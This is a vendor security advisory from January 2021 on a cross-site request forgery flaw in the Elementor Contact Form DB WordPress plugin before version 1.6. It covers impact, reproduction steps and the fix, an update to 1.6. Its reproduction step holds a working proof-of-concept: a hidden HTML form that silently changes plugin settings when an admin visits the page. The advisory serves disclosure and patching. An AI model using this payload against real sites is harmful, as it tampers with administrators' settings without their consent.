CSRF In Elementor-Contact-Form-DB Wordpress Plugin

WORDPRESS CSRF

Yaniv Nizry Jan 14, 2021

Details Overview

Summary

Affected versions of the "Elementor Contact Form DB" plugin for WordPress are vulnerable to a Cross-Site Request Forgery (CSRF) attack.

Product

Elementor Contact Form DB Wordpress plugin before 1.6

Impact

An admins that visits a malicious site could change The Elementor-Contact-Form-DB setting without his/her knowledge.

Steps To Reproduce

1. Wordpress with vulnerable Elementor Contact Form DB plugin installed
2. Admin visits the page:

```
<html><head></head>
<body>
<form style="opacity: 0;" action="http://[site-url]/wp-admin/edit.php?post_type=elementor_cf_db&page=sb_elem_cf
        <input type="number" name="sb_elem_cfd[disable_admin_nag]" value="1" />
        <input type="text" name="sb_elem_cfd[records_min_role]" value="lfb_role" />
        <input type="text" name="sb_elem_cfd_save" value="Save Settings" />
<button>submit</button>
</form>
```

Expected Result:

Admin setting page will change according to the attacker's input.

Remediation

Update Elementor-Contact-Form-DB to 1.6 or above.

Credit

This issue was discovered and reported by Checkmarx SCA Security Researcher Yaniv Nizry.

Resources

1. Changeset